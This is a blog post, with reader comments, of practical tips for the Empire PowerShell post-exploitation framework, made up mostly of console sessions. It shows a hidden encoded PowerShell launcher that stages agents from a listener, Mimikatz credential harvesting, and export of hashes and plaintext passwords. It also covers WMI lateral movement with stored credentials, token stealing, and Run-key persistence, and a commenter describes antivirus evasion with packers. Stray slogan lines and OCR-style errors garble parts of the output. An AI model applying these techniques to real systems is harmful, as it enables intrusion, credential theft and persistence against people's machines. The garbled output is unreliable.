EMPIRE TIPS AND TRICKS

August 26, 2015 by enigma0x3

Empire Tips and Tricks

Since the release of Empire at BSides Las Vegas, the project has received a lot of great feedback and use cases. While @harmj0y, @sixdub and myself worked really hard on documenting all of Empire's features, there are a few tips and tricks that weren't documented that can be of use. I wanted to cover some additional Empire functionality so you can get the most out of the framework.

Generating a Launcher

Empire stagers are the various methods you can use to trigger Empire agents on systems. The 'launcher' format generates the straight PowerShell one-liner to start the staging process, and one we commonly use in engagements as well as testing. If you are simply in need of the

PowerShell one-liner, you can simply type “launcher <listenerName>” from the listener menu and this will quickly generate the one-liner for you. The listener names are tab-completable.

```
(Empire) > listeners
[!] No listeners currently active
(Empire: listeners) > execute
(Empire: listeners) > launcher test
powershell.exe -NoP -NonI -W Hidden -Enc JABXAEMAPQBOAEUAdwtAE8AYgqAGUAYwBUACAuUjB5AFMAADABLAGBAGBOAEUAVAAuAFcAZQBIAEMABABJAGUATgBUADpAJAB

(Empire: listeners) >
```

Renaming Agents

After receiving agents, there are also a few shortcuts that will help you easily with shell management. When an agent comes in, it will always have a randomized name. Since this can sometimes make for difficult agent identification, Empire allows you to rename agents using “`rename <oldAgentName> <newAgentName>`” from the agents menu:

```
(Empire: agents) > [+] Initial agent SSGXXWDB2URWP3CW from 192.168.99.135 now active
(Empire: agents) > rename SSGXXWDB2URWP3CW CEOBox "the more you become, the more you are able to hear"
(Empire: agents) > list

[*] Active agents:
```

Name	Internal IP	Machine Name	Username	Process	Delay	Last Seen
CEOBox	192.168.99.135	WINDOWS2	LAB\Matt	powershell/2072	5/0.0	2015-08-22 20:01:33

```
(Empire: agents) >
```

Alternatively, you can do this within the context of an agent by typing “rename <newName>”.

```
(Empire: agents) > [+] Initial agent TPVGXVNC1ZMCBHBZ from 192.168.99.135 now active

(Empire: agents) > interact TPVGXVNC1ZMCBHBZ
(Empire: TPVGXVNC1ZMCBHBZ) > rename CF0Box
(Empire: CF0Box) > █
```

Stale Agents

When dealing with multiple agents, determining which ones are active and which ones have died can be accomplished by typing “list stale” in the agents menu. This will list any agents that are no longer active.

```
(Empire: agents) > list

[*] Active agents:

  Name           Internal IP   Machine Name  Username    Process          Delay    Last Seen
  -----
  DS4B2C1VYRTN4LFZ 192.168.99.135 WINDOWS2     LAB\Matt    powershell/1008  5/0.0   2015-08-22 20:23:08
  RDSAMSCUT3221WK2 192.168.99.135 WINDOWS2     LAB\Matt    powershell/3040  5/0.0   2015-08-22 20:23:06
  XAUKVMGZR4R32B3U 192.168.99.135 WINDOWS2     LAB\Matt    powershell/2416  5/0.0   2015-08-22 20:19:56
  22WCYVMZALZZXSBT 192.168.99.135 WINDOWS2     LAB\Matt    powershell/1148  5/0.0   2015-08-22 20:20:01

(Empire: agents) > list stale
                        "the quieter you become, the more you are able to hear"

[*] Active agents:

  Name           Internal IP   Machine Name  Username    Process          Delay    Last Seen
  -----
  XAUKVMGZR4R32B3U 192.168.99.135 WINDOWS2     LAB\Matt    powershell/2416  5/0.0   2015-08-22 20:19:56
  22WCYVMZALZZXSBT 192.168.99.135 WINDOWS2     LAB\Matt    powershell/1148  5/0.0   2015-08-22 20:20:01

(Empire: agents) > █
```

You can then remove all stale agents by typing “remove stale”:

```
(Empire: agents) > list
```

[*] Active agents:

Name	Internal IP	Machine Name	Username	Process	Delay	Last Seen
DXBYZXRC2M2FEBLN	192.168.99.135	WINDOWS2	LAB\Matt	powershell/312	5/0.0	2015-08-22 20:35:12
UHW3PBNBDEWHCLHG	192.168.99.135	WINDOWS2	LAB\Matt	powershell/200	5/0.0	2015-08-22 20:36:15
ZLXXKMSBN2B4ULTK	192.168.99.135	WINDOWS2	LAB\Matt	powershell/2872	5/0.0	2015-08-22 20:36:17
N12DARMULN3LA2LB	192.168.99.135	WINDOWS2	LAB\Matt	powershell/996	5/0.0	2015-08-22 20:35:14

```
(Empire: agents) > list stale
```

[*] Active agents:

Name	Internal IP	Machine Name	Username	Process	Delay	Last Seen
DXBYZXRC2M2FEBLN	192.168.99.135	WINDOWS2	LAB\Matt	powershell/312	5/0.0	2015-08-22 20:35:12
N12DARMULN3LA2LB	192.168.99.135	WINDOWS2	LAB\Matt	powershell/996	5/0.0	2015-08-22 20:35:14

```
(Empire: agents) > remove stale
(Empire: agents) > list
```

[*] Active agents:

Name	Internal IP	Machine Name	Username	Process	Delay	Last Seen
UHW3PBNBDEWHCLHG	192.168.99.135	WINDOWS2	LAB\Matt	powershell/200	5/0.0	2015-08-22 20:36:22
ZLXXKMSBN2B4ULTK	192.168.99.135	WINDOWS2	LAB\Matt	powershell/2872	5/0.0	2015-08-22 20:36:17

```
(Empire: agents) >
```

You can also list any agents that haven't checked in in a period of time by typing "list x". X will be the minute window for the agent check-in. For example, "list 5" will list all agents that have called back in the last 5 minutes.

```
(Empire: agents) > list 5
```

[*] Active agents:

Name	Internal IP	Machine Name	Username	Process	Delay	Last Seen
DS4B2C1VYRTN4LFZ	192.168.99.135	WINDOWS2	LAB\Matt	powershell/1008	5/0.0	2015-08-22 20:31:10
RDSAMSCUT3221WK2	192.168.99.135	WINDOWS2	LAB\Matt	powershell/3040	5/0.0	2015-08-22 20:31:15

Mass Agent Configuration Changes

Empire also allows for basic configuration changes to multiple agents at once. You can accomplish this by typing “<command> all <parameter>”. For example, you can set the sleep for all agents to “0” by typing “sleep all 0”:

```
(Empire: agents) > list

[*] Active agents:

  Name           Internal IP   Machine Name  Username   Process          Delay   Last Seen
  -----
  UHW3PBNBDEWHCLHG 192.168.99.135 WINDOWS2     LAB\Matt   powershell/200   5/0,0   2015-08-22 20:39:54
  ZLXXKMSBN2B4ULTK 192.168.99.135 WINDOWS2     LAB\Matt   powershell/2872   5/0,0   2015-08-22 20:39:56

(Empire: agents) > sleep all 0
(Empire: agents) > interact UHW3PBNBDEWHCLHG

agent interval set to 0 seconds with a jitter of 0
(Empire: UHW3PBNBDEWHCLHG) > back
(Empire: agents) > interact ZLXXKMSBN2B4ULTK

agent interval set to 0 seconds with a jitter of 0
(Empire: ZLXXKMSBN2B4ULTK) > 
```

Process Listing

When searching for a specific process, Empire allows you to specify a process name with the “ps” command. To search for a specific process, you can simply type “ps <ProcessName>” to list all processes that contain that name.

```
(Empire: UHW3PBNBDEWHCLHG) > ps powershell
(Empire: UHW3PBNBDEWHCLHG) >

ProcessName      PID      Arch      UserName      MemUsage
-----
powershell.exe   200      x64      LAB\Matt      59,248 K
powershell.exe   2872     x64      LAB\Matt      57,484 K

(Empire: UHW3PBNBDEWHCLHG) > 
```

High Integrity Agents*

Several Empire modules require a high integrity context in order to perform certain post-exploitation agents. For example, Empire supports the use of Mimikatz to obtain credentials from memory. High integrity agents will always be identified by an asterisk (*) next to the UserName, and this information can be seen as well by running **info** in an agent menu. You can check if your current user is a local administrator in a medium integrity context (meaning a bypassuac attack should be run) by running the **privesc/powerup/allchecks** module.

```
(Empire: UHW3PBNBDEWHCLHG) > agents
"the quieter you become, the more you are able to hear"

[*] Active agents:

  Name          Internal IP    Machine Name  Username      Process        Delay    Last Seen
  -----
  UHW3PBNBDEWHCLHG 192.168.99.135 WINDOWS2     LAB\Matt      powershell/200 0/0.0    2015-08-22 20:52:03
  ZLXXKMSBN2B4ULTK 192.168.99.135 WINDOWS2     LAB\Matt      powershell/2872 0/0.0    2015-08-22 20:52:05
  VGUGHUXGU1PGLHNB 192.168.99.135 WINDOWS2     *LAB\Matt     powershell/2308 5/0.0    2015-08-22 20:52:01
```

The Credential Store

Empire will automatically scrape/parse Mimikatz output and throw the results into an accessible credential module that's stored in the backend database. You can view the credentials by typing "creds".

```
(Empire: VGUGHUXGU1PGLHNB) > creds

Credentials:

  CredID  CredType  Domain      Username      Host      Password
  -----
  1        hash      lab.local   justin        WINDOWS2  780f30085fa9cd3f9d98030a57138dd0
  2        hash      lab.local   Will          WINDOWS2  20fc2d177f4fdf4aec6c0ba8fcd4c2d
  3        hash      lab.local   Matt          WINDOWS2  7794962738ba0247c639ce8b61076c4c
  4        hash      lab.local   WINDOWS2$    WINDOWS2  b351a634d45d2ddelc1ab3e6f9f92add
  5        plaintext lab.local   justin        WINDOWS2  !J1234567890
  6        plaintext lab.local   Will          WINDOWS2  !W1234567890
  7        plaintext lab.local   Matt          WINDOWS2  !M1234567890
```

Searching the Credential Store

The credential store will hold both hash and plaintext credentials. Empire allows for you to search/filter the credential store, so if you are looking for specific users, you can type “creds <searchTerm>” to show all credentials matching that term.

```
(Empire: VGUGHUXGU1PGLHNB) > creds

Credentials:

CredID  CredType  Domain      UserName      Host      Password
-----  -
1       hash      lab.local   justin        WINDOWS2  780f30085fa9cd3f9d98030a57138dd0
2       hash      lab.local   Will         WINDOWS2  20fc2d177f4fdf4aec6c0ba8fced4c2d
3       hash      lab.local   Matt         WINDOWS2  7794962738ba0247c639ce8b61076c4c
4       hash      lab.local   WINDOWS2$    WINDOWS2  b351a634d45d2dde1c1ab3e6f9f92add
5       plaintext lab.local   justin        WINDOWS2  !J1234567890
6       plaintext lab.local   Will         WINDOWS2  !W1234567890
7       plaintext lab.local   Matt         WINDOWS2  !M1234567890

(Empire: VGUGHUXGU1PGLHNB) > creds Matt "the quieter you become, the more you are able to hear"

Credentials:

CredID  CredType  Domain      UserName      Host      Password
-----  -
3       hash      lab.local   Matt         WINDOWS2  7794962738ba0247c639ce8b61076c4c
7       plaintext lab.local   Matt         WINDOWS2  !M1234567890
```

You can also filter by plaintext/hashes by typing “creds plaintext” (for all plaintext creds) or “creds hash” (for all hashes).

```
(Empire: VGUGHUXGUIPGLHNB) > creds plaintext
```

Credentials:

CredID	CredType	Domain	UserName	Host	Password
5	plaintext	lab.local	justin	WINDOWS2	!J1234567890
6	plaintext	lab.local	Will	WINDOWS2	!W1234567890
7	plaintext	lab.local	Matt	WINDOWS2	!M1234567890

```
(Empire: VGUGHUXGUIPGLHNB) > creds hash
```

Credentials:

CredID	CredType	Domain	UserName	Host	Password
1	hash	lab.local	justin	WINDOWS2	780f30085fa9cd3f9d98030a57138dd0
2	hash	lab.local	Will	WINDOWS2	20fc2d177f4fdf4aec6c0ba8fcd4c2d
3	hash	lab.local	Matt	WINDOWS2	7794962738ba0247c639ce8b61076c4c
4	hash	lab.local	WINDOWS2\$	WINDOWS2	b351a634d45d2dde1c1ab3e6f9f92add

Adding Credentials to the Credential Store

If you have credentials that weren't automatically added into the credential store, you can manually add them by typing "creds add <domain> <username> <password>":

```
(Empire: VGUGHUXGUIPGLHNB) > creds add lab.local Jason !Jason123
```

Credentials:

CredID	CredType	Domain	UserName	Host	Password
1	hash	lab.local	justin	WINDOWS2	780f30085fa9cd3f9d98030a57138dd0
2	hash	lab.local	Will	WINDOWS2	20fc2d177f4fdf4aec6c0ba8fcd4c2d
3	hash	lab.local	Matt	WINDOWS2	7794962738ba0247c639ce8b61076c4c
4	hash	lab.local	WINDOWS2\$	WINDOWS2	b351a634d45d2dde1c1ab3e6f9f92add
5	plaintext	lab.local	justin	WINDOWS2	!J1234567890
6	plaintext	lab.local	Will	WINDOWS2	!W1234567890
7	plaintext	lab.local	Matt	WINDOWS2	!M1234567890
8	plaintext	lab.local	Jason	WINDOWS2	!Jason123

Removing Credentials

You can also remove credentials from the credential store by typing “creds remove <credID>/<credID-credID>/all”. You can remove a single credential by specifying the CredID, remove a set of credentials by specifying the range of CredIDs, or you can remove all credentials by specifying “all”.

```
Credentials:
CredID  CredType  Domain      UserName    Host      Password
-----  -
1      hash      lab.local   justin      WINDOWS2  780f30085fa9cd3f9d98030a57138dd0
2      hash      lab.local   Will        WINDOWS2  20fc2d177f4fdf4aec6c0ba8fced4c2d
3      hash      lab.local   Matt        WINDOWS2  7794962738ba0247c639ce8b61076c4c
4      hash      lab.local   WINDOWS2$  WINDOWS2  b351a634d45d2dde1c1ab3e6f9f92add
5      plaintext lab.local   justin      WINDOWS2  !J1234567890
6      plaintext lab.local   Will        WINDOWS2  !W1234567890
7      plaintext lab.local   Matt        WINDOWS2  !M1234567890
8      plaintext lab.local   Jason       WINDOWS2  !Jason123

(Empire: VGUGHUXGU1PGLHNB) > creds remove 2-5
(Empire: VGUGHUXGU1PGLHNB) > creds

Credentials:
CredID  CredType  Domain      UserName    Host      Password
-----  -
1      hash      lab.local   justin      WINDOWS2  780f30085fa9cd3f9d98030a57138dd0
6      plaintext lab.local   Will        WINDOWS2  !W1234567890
7      plaintext lab.local   Matt        WINDOWS2  !M1234567890
8      plaintext lab.local   Jason       WINDOWS2  !Jason123
```

Exporting Credentials

Empire also allows you to export the credential store to a CSV. You can achieve this by typing “creds export <filePath>file.csv”:

```
(Empire: VGUGHUXGU1PGLHNB) > creds export /root/Desktop/credentials.csv
[*] Credentials exported to /root/Desktop/credentials.csv.
(Empire: VGUGHUXGU1PGLHNB) > █
```

```
creds.csv x
CredID,CredType,Domain,Username>Password,Host,SID,Notes
1,hash,lab.local,Will,20fc2d177f4fdf4aec6c0ba8fced4c2d,WINDOWS2,-,2015-08-24 15:06:10
2,hash,lab.local,justin,780f30085fa9cd3f9d98030a57138dd0,WINDOWS2,-,2015-08-24 15:06:10
3,hash,lab.local,Matt,7794962738ba0247c639ce8b61076c4c,WINDOWS2,-,2015-08-24 15:06:10
4,hash,lab.local,WINDOWS2$,b351a634d45d2dde1c1ab3e6f9f92add,WINDOWS2,-,2015-08-24 15:06:10
5,plaintext,lab.local,Will,!W1234567890,WINDOWS2,-,2015-08-24 15:06:10
6,plaintext,lab.local,justin,!J1234567890,WINDOWS2,-,2015-08-24 15:06:10
7,plaintext,lab.local,Matt,!M1234567890,WINDOWS2,-,2015-08-24 15:06:10
```

Using CredIDs

Each set of credentials is assigned a unique CredID, and you can use this CredID within modules that require credentials:

```
Description:
  Executes a stager on remote hosts using WMI.

Options:

  Name           Required  Value           Description
  ----           -
  Listener        True      test            Listener to use.
  CredID          False     [empty]         CredID from the store to use.
  ComputerName    True      WINDOWS6        Host[s] to execute the stager on, comma
                                     separated.
  Proxy           False     default         Proxy to use for request (default, none,
                                     or other).
  UserName        False     lab.local\Matt   [domain\]username to use to execute
                                     command.
  ProxyCreds      False     default         Proxy credentials
                                     ([domain\]username:password) to use for
                                     request (default, none, or other).
  UserAgent       False     default         User agent string to use for the staging
                                     request (default, none, or other).
  Password        False     !M1234567890    Password to use to execute command.
  Agent           True      VGUGHUXGU1PGLHNB Agent to run module on.

(Empire: lateral_movement/invoke_wmi) > set CredID 7
(Empire: lateral_movement/invoke_wmi) > execute
(Empire: lateral_movement/invoke_wmi) > [+] Initial agent KYDPKWH33UEHUHWA from 192.168.99.248 now active

(Empire: lateral_movement/invoke_wmi) >
Invoke-Wmi executed on "WINDOWS6"
```

Alternatively, you can unset the CredID of a module by typing “unset CredID”. This can be used to unset any options that are set within a module. By using “unset”, it will clear out the value of the option specified.

You can also use the CredID with the “pth” command to execute use the Mimikatz PTH module with the credentials in the credential store.

```
Credentials:
CredID  CredType  Domain      UserName    Host        Password
-----  -
1       hash      lab.local   justin      WINDOWS2    780f30085fa9cd3f9d98030a57138dd0

\ *Password replace -> null

Use credentials/token to steal the token of the created PID.
"the quieter you become, the more you are able to hear"

(Empire: VGUGHUXGU1PGLHNB) > steal_token 948
(Empire: VGUGHUXGU1PGLHNB) >
Running As: LAB\Matt

Use credentials/tokens with RevToSelf option to revert token privileges
```

Disaster Recovery

Sometimes, things don't always go your way. In the event of an Empire crash on the server side, you won't lose all of your access. The agents will run in memory on the target and will keep calling home, even if your listeners are down. Empire utilizes a backend database that preserves Empire's configuration (such as listeners). In the event of a crash, simply start empire back up and wait for your agents to check back in:

```

(Empire) > agents

[*] Active agents:

  Name           Internal IP   Machine Name  Username    Process          Delay   Last Seen

```

Once Empire fires back up, your agents will slowly begin to trickle back in. You can also manually browse the Empire database by opening SQLiteBrowser in Kali and pointing it to “/data/empire.db”. This will allow you to see what all Empire retains in the backend database as well as make changes:

These are just a few tips and tricks that we often use when interacting with Empire. Hopefully they are of some use as well! If anyone has any questions, [issues](#), or [pull requests](#), hit us up on Github or in the #psempire channel in Freenode.

16 THOUGHTS ON “EMPIRE TIPS AND TRICKS”

Russell Milligan says:

August 31, 2015 at 9:10 pm

I'm trying to get Empire up and running so I can view the traffic and mess around with memory forensics on a compromised machine, but I can't quite get it to work. I run the launcher.bat on a victim machine, and the agent calls back home, but commands don't seem to function. I fired up Wireshark on both machines, and when I execute a command I can see the web request go from the default "It works!" webpage to the encrypted command (on both ends, Empire sends it, and the victim receives the HTTP 200 with the same encrypted data), but for some reason it either doesn't execute or doesn't return the results. Any troubleshooting steps I could take to figure out what the deal is?

We had a few issues with certain setups and the C&C. This should be fixed with the most recent version. Can you either do a git pull or a new clone and give it another try? If the issue still exists, feel free to either open an issue on github or ping one of us in #psempire on freenode.

Hello, I've been playing around with persistence but apparently I wasn't able to regain control over the computer. I've updated registry with module persistence/userland/registry (right after running generated .bat file) and the default process which it was supposed to run is definitely running but I don't get how to invoke the powershell. Could you possibly give me a hint? Is it even possible? Wasn't I supposed to pass any payload?

Anyway, thank you for your hard work, I've been able to gain more insight into security in last two days by reading your site than in all years before.

With the userland registry module, it will store the payload in HKCU:\Software\Microsoft\Windows\CurrentVersion\Debug and then store the code to read that payload and execute it in HKCU:\Software\Microsoft\Windows\CurrentVersion\Run, which is executed on startup by default. So when a user logs in, it will load the Run key, which has code to read and execute the payload from HKCU:\Software\Microsoft\Windows\CurrentVersion\Debug. Powershell is automatically invoked via the run key on logon.

I have been trying to get Empire to work, but I'm not having any luck. Their website doesn't really show the baby steps needed from A to Z. I've customized a listener with an IP and port then generated the shellcode which then threw into MSFVenom, to generate an EXE. I run the EXE, but I don't get anything back at Empire. I see the listener listed, but no agents came online, and I'm not sure what I am doing wrong. I would assume that the info that I set would be included in the generated payload that I turned into an EXE to connect back, but no luck

What do you mean you "generated the shellcode"? The stagers that will result in an Empire agent can be read about here: http://www.powershellempire.com/?page_id=104

sweet, thanks for the info I appreciate it and your help as well. I did end up figuring out how to generate the payload through PSE, and get an agent to connect back. However I noticed that the payload, once generated, will still get caught using Shikata ga nai encoding. So once I generated the exe file, I ran it through Hyperion and PEScrambler to encrypt and obfuscate it, which worked perfectly every time without getting flagged by AV, and still got an agent to connect back. The only difference I saw was that it took a little longer for it to kick it once the exe was executed, and noticed a spike in CPU for few seconds, which makes sense since it has to decrypt. But it all happened without being flagged.

enigma0x3 says:

November 1, 2015 at 3:06 pm

Is there a reason you are using an exe and encoding it? There is absolutely no need to encode it

Shadow says:

November 1, 2015 at 3:28 pm

Because I found that if I don't, it gets flagged by AV every time. That's why I use Hyperion and PEScrambler, and it doesn't get caught.

enigma0x3 says:

November 1, 2015 at 4:24 pm

Why not just use the stagers within Empire? Those don't get flagged at all.

shadow says:

November 1, 2015 at 4:39 pm

Yea I was looking at those too, I will have to test those and see how those work.
Whatever has the fewest steps but least intrusive.

Shadow says:

October 28, 2015 at 9:21 pm

sorry, I mean't payload, like you demonstrated at the top of the article where you used "launcher" to generate a payload in Empire to use in msfvenom. And yea I read about that post as well, although I'm not sure why I'm not getting much when i try to look at the "usestager" to see all the different methods. Nonetheless, not sure why I'm not seeing a connection back

Excellent work. a brilliant tool which I think exceeds the goals it was intended to achieve.

Could I ask you to expand on the examples for manually adding creds to the Credential Store, which use ALL of the possible arguments?

I'd like to be able to add creds pulled in by other modules like PowerDump, so I need to be able to specify the credType, (domain as hostname?), username, hostname and password.

Having done a tiny bit of trial & error I'm now looking at the code for inspiration – but anything you might add here would be immense.

Much love & respect,

Reply

enigma0x3 says:

November 27, 2015 at 4:38 pm

Yea, you will need to add it using this: creds add

None of the options are required. If the machine isn't on a domain, you can set the domain to the hostname. The username and password options are simply the credentials you want to add. Doing so will throw your new credentials into the credential database.
